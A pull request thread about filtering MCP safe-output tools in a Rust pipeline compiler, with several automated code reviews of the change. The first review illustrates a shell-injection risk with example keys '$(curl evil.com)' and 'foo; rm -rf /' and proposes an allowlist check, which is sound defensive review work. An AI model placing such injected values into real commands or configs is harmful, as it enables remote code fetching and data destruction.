feat(mcp): filter SafeOutputs tools based on front matter config

[jamesadevine]

Summary

Only expose safe output tools that are configured in the front matter's safe-outputs: section. This reduces agent confusion by hiding tools that aren't configured for the current pipeline.

Problem

All 17+ safe output tools are always exposed to the agent via MCPG, regardless of what's configured in safe-outputs: front matter. MCPG has a tools field in its config schema but does not enforce it at runtime. This means agents see tools they aren't configured to use, wasting context window and potentially causing confusion.

Approach

Filter at the SafeOutputs server level using ToolRouter::remove_route() — self-contained, no MCPG changes needed.

Changes

• src/main.rs — Add --enabled-tools repeatable CLI arg to mcp and mcp-http commands
• src/mcp.rs — SafeOutputs::new() accepts optional enabled tools list; removes unconfigured tools from the router at startup
• src/compile/common.rs — generate_enabled_tools_args() derives tool list from safe-outputs: keys + always-on diagnostics
• src/compile/standalone.rs — Wires the generated args into the pipeline template
• templates/base.yml — {{ enabled_tools_args }} placeholder in mcp-http invocation

Always-on tools (never filtered)

• noop, missing-data, missing-tool, report-incomplete

Backward compatibility

If --enabled-tools is not passed (empty/omitted safe-outputs:), all tools remain available.

Testing

• 7 new tests covering: no filter = all tools, specific filter, always-on never removed, multiple tools, compiler arg generation, no duplicates
• All 647 tests pass

[github-actions]

🔍 Rust PR Review

Summary: Good approach overall — the design is clean and the test coverage is solid. One genuine security concern to address, plus two minor notes.

Findings

🔒 Security Concerns

• src/compile/common.rs:704 — Unquoted tool names injected into bash

  generate_enabled_tools_args takes safe_outputs.keys() verbatim and formats them as --enabled-tools <name> in a space-separated string. This string lands unquoted in a bash line in base.yml (line 219):

  nohup /tmp/awf-tools/ado-aw mcp-http \
    --api-key "$SAFE_OUTPUTS_API_KEY" \
    {{ enabled_tools_args }}\       # ← raw substitution
    "/tmp/awf-tools/staging" \

  YAML keys are arbitrary strings, so a front matter key like "$(curl evil.com)" or "foo; rm -rf /" would be injected verbatim into the shell command. The pipeline author controls the YAML, but this is still bad hygiene and could catch someone off guard (typo, copy-paste, etc.).

  Fix: validate tool names against a known allowlist (you already have WRITE_REQUIRING_SAFE_OUTPUTS and can build one from registered routes), or at minimum gate on a safe regex before embedding:

  fn is_safe_tool_name(name: &str) -> bool {
      name.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
  }

⚠️ Suggestions

• templates/base.yml:219 — Dangling \ when enabled_tools_args is empty

  When no safe-outputs are configured, {{ enabled_tools_args }} is replaced with "", leaving:

              \          # ← line with nothing but whitespace + backslash
              "/tmp/awf-tools/staging" \

  This is syntactically valid bash (empty continuation), but it's an odd artifact. Consider trailing the marker with a space+backslash only when non-empty, or restructuring the template to avoid the dangling line.

• src/mcp.rs:1313 — test_tool_filtering_multiple_tools uses fragile exact-count assertion

  let expected_count = enabled.len() + ALWAYS_ON_TOOLS.len();
  assert_eq!(tool_names.len(), expected_count, ...);

  This silently breaks if any enabled tool also appears in ALWAYS_ON_TOOLS. Prefer asserting presence/absence of specific tools directly (as done in test_tool_filtering_specific_tools) rather than relying on an exact count.

✅ What Looks Good

• Filtering at the SafeOutputs level (not MCPG) is the right call — no external changes needed and it's well-contained.
• ALWAYS_ON_TOOLS constant is pub so the compiler can reference it from common.rs, keeping the filter list a single source of truth.
• Backward-compat behaviour (empty safe_outputs → pass None → no filtering) is correct and well-tested.
• The run_http template-sharing approach (create once, clone per request) is preserved correctly.

Generated by Rust PR Reviewer for issue #156 · ● 373.6K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Needs a fix — the template has a shell-breaking separator bug that will cause the mcp-http command to fail whenever safe-outputs: is configured.

Findings

🐛 Bugs / Logic Issues

• templates/base.yml:219 — Missing space between {{ enabled_tools_args }} and the positional argument:

  # Generated when safe-outputs has any entries, e.g. with create-pull-request + noop:
  nohup /tmp/awf-tools/ado-aw mcp-http \
    --port "$SAFE_OUTPUTS_PORT" \
    --api-key "$SAFE_OUTPUTS_API_KEY" \
    --enabled-tools create-pull-request --enabled-tools noop"/tmp/awf-tools/staging" \
  #                                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  #              last tool value is concatenated with the path — no space!

  noop"/tmp/awf-tools/staging" is passed as the value of the last --enabled-tools flag instead of the positional output_directory argument. The command fails to start, silently breaking tool filtering for every pipeline that configures safe-outputs:.

  Fix — add a trailing space in generate_enabled_tools_args when the result is non-empty:

  // in common.rs, end of generate_enabled_tools_args
  let args = tools
      .iter()
      .map(|t| format!("--enabled-tools {}", t))
      .collect::<Vec<_>>()
      .join(" ");
  if args.is_empty() { args } else { args + " " }

  Or, equivalently, change the template to {{ enabled_tools_args }} "/tmp/awf-tools/staging" — the extra leading space when the marker is empty is harmless in bash.

  Note: this bug would have been caught by an integration test that compiles a fixture with safe-outputs: and runs the generated mcp-http command (or even just checks the generated YAML contains --enabled-tools noop "/tmp/).

⚠️ Suggestions

• src/mcp.rs:152-175 — list_all() is called twice (once to collect names, once to log remaining). The second call is fine for logging, but a single collect + filter pass would be marginally cleaner.
• src/compile/common.rs:688 — The use crate::mcp::ALWAYS_ON_TOOLS import inside a function body works, but since generate_enabled_tools_args and ALWAYS_ON_TOOLS are both compile-time constants, a top-level import or moving ALWAYS_ON_TOOLS to common.rs would avoid the implicit compile→mcp coupling. Minor architectural note, not a blocker.

✅ What Looks Good

• The is_safe_tool_name guard + sorting for deterministic output is a clean approach to shell-injection prevention and stable diffs.
• ALWAYS_ON_TOOLS as a single source of truth shared between the compiler and the runtime is the right design.
• Empty safe-outputs: → no args → all tools available is the correct backward-compatible default, and the logic for it is clear.
• The 7 new unit tests have good coverage of edge cases (dedup, always-on, unsafe name skipping).

Generated by Rust PR Reviewer for issue #156 · ● 284.4K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Mostly solid — the core design, security model, and backward compatibility are all well-handled. One correctness concern worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs — Silent tool filtering on typo / unknown key

  If a user misspells a safe-output key in their front matter (e.g., crate-pull-request instead of create-pull-request), the correctly-named tool is silently removed at runtime while the misspelled name passes is_safe_tool_name validation and gets forwarded as --enabled-tools crate-pull-request. The agent then receives a "tool not found" error when it calls create-pull-request with no compile-time warning.

  The WRITE_REQUIRING_SAFE_OUTPUTS slice already enumerates all known tool names — validating safe_outputs.keys() against that union ALWAYS_ON_TOOLS at compile time (a simple eprintln! warning follows the established pattern) would catch this:

  const ALL_KNOWN_TOOLS: &[&str] = &[/* WRITE_REQUIRING_SAFE_OUTPUTS */ ..., /* ALWAYS_ON */ ...];
  for key in front_matter.safe_outputs.keys() {
      if !ALL_KNOWN_TOOLS.contains(&key.as_str()) {
          eprintln!("Warning: unrecognized safe-output tool '{}' — will be ignored at runtime", key);
      }
  }

  This is a behavioural regression compared to the pre-PR world, where an unknown safe-output key was merely ignored rather than causing a real tool to disappear.

⚠️ Suggestions

• src/compile/common.rs:test_generate_enabled_tools_args_skips_unsafe_names — Misleading test name/body

  The test comment explicitly says "We can't easily inject unsafe names through parse_markdown... so we test the validation function directly", but then doesn't — it just repeats the happy path from test_generate_enabled_tools_args_with_configured_tools. The actual unsafe-name guard is only covered by test_is_safe_tool_name. Either rename this to test_generate_enabled_tools_args_with_valid_tool or use a directly-constructed FrontMatter with an unsafe key to exercise the eprintln! warning path.

• src/compile/common.rs:710-720 — O(n2) deduplication

  for tool in ALWAYS_ON_TOOLS {
      let name = tool.to_string();
      if !tools.contains(&name) {   // linear scan per always-on tool
          tools.push(name);
      }
  }

  ALWAYS_ON_TOOLS has four entries so this is harmless today, but a HashSet<String> built from tools before this loop is cleaner and future-proof. Not blocking.

• {{ enabled_tools_args }} template marker is undocumented

  Every other template marker is documented in the copilot instructions (AGENTS.md / custom instructions). Adding a short entry for {{ enabled_tools_args }} would be consistent and helpful for future contributors.

✅ What Looks Good

• is_safe_tool_name is the right gate — alphanumeric + hyphen-only names guarantee the expanded --enabled-tools <name> tokens can't introduce shell injection into the generated bash script.
• The enabled_tools → filter.as_deref() idiom in main.rs correctly converts Vec<String> to Option<&[String]> without any cloning.
• Backward compatibility (empty safe-outputs: → all tools available) is correctly handled and tested.
• Collecting all_tools into a Vec before the mutating remove_route loop avoids borrow/mutation issues cleanly.
• The trailing-space trick in generate_enabled_tools_args is the right solution for the inline template expansion and is well-commented.

Generated by Rust PR Reviewer for issue #156 · ● 691.7K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Approach is solid and the implementation is clean — one correctness bug with misleading behaviour, a maintenance concern, and a missing integration test.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs — misleading warning + incorrect runtime behaviour for typo'd tool names

  In generate_enabled_tools_args, when an unrecognised tool name is encountered the warning says:

  "Warning: unrecognized safe-output tool '{}' — will be ignored at runtime"

  But the name is still appended to the --enabled-tools arg list immediately after the warning. When the server receives this list it iterates over registered tools and removes any that aren't in enabled. A typo like crate-pull-request in the enabled list doesn't prevent create-pull-request from being removed — it's absent from enabled, so it gets filtered out just as if it had never been configured. The warning says "ignored" but the effect is that the real tool is silently unavailable.

  The test test_generate_enabled_tools_args_warns_on_unknown_tool documents this behaviour as intentional without noting the downstream consequence.

  Two reasonable fixes:

  1. Skip unknown names (don't append them to the list), so the warning and the behaviour agree.
  2. Keep them but change the warning to: "unrecognized safe-output tool '{}' — real tools of this name will not be exposed to the agent".

  Option 1 is safer and simpler. The unknown name contributes nothing useful — there is no registered tool to "keep enabled" for it.

⚠️ Suggestions

• src/tools/mod.rs — ALL_KNOWN_SAFE_OUTPUTS is a hand-maintained list that can drift

  This list is used purely to suppress false-positive warnings. If a new tool is registered in the router but not added here, every compile of a pipeline that uses it will emit a spurious warning. Consider deriving this from the tool router itself at startup (call tool_router.list_all() once and build a HashSet of registered names), which would make the check self-maintaining. The compile-time generate_enabled_tools_args function can't do this since it runs without the server, but the server-side filter in mcp.rs already has the ground-truth list. Alternatively, make ALL_KNOWN_SAFE_OUTPUTS a const set that is asserted against the router in a test.

• templates/base.yml line 219 — fragile inline substitution

  {{ enabled_tools_args }}"/tmp/awf-tools/staging" \

  The empty-string / trailing-space duality is clever but the intent is non-obvious to anyone reading the template. A comment or a more conventional two-line form (conditional substitution on its own line, path on the next) would make this easier to audit. A stray newline in enabled_tools_args would also silently corrupt the shell command — worth a note in the replacement code that the value must be newline-free (it currently is, but is_safe_tool_name doesn't explicitly reject \n).

• Missing integration/fixture test for the compiled output

  The unit tests exercise generate_enabled_tools_args and the runtime filter independently, but there is no integration test (e.g. in tests/compiler_tests.rs with a fixture in tests/fixtures/) that compiles a markdown file with safe-outputs: configured and asserts the rendered YAML contains the expected --enabled-tools flags. This is the only path that exercises standalone.rs wiring + generate_enabled_tools_args + template substitution end-to-end.

✅ What Looks Good

• Filtering is done server-side via ToolRouter::remove_route() — self-contained and requires no MCPG changes; a clean separation of concerns.
• is_safe_tool_name is a tight, correct guard against shell injection; the character set (ASCII alphanumerics + hyphen) matches all real tool names and nothing more.
• ALWAYS_ON_TOOLS is checked both at the compile-time arg generator and at the runtime filter independently, so always-on tools can never be silently excluded.
• The as_deref() conversion of Option<Vec<String>> → Option<&[String]> in main.rs is idiomatic and correct.
• Backward compatibility (empty safe-outputs: → all tools exposed) is well-tested and documented.

Generated by Rust PR Reviewer for issue #156 · ● 495.4K · ◷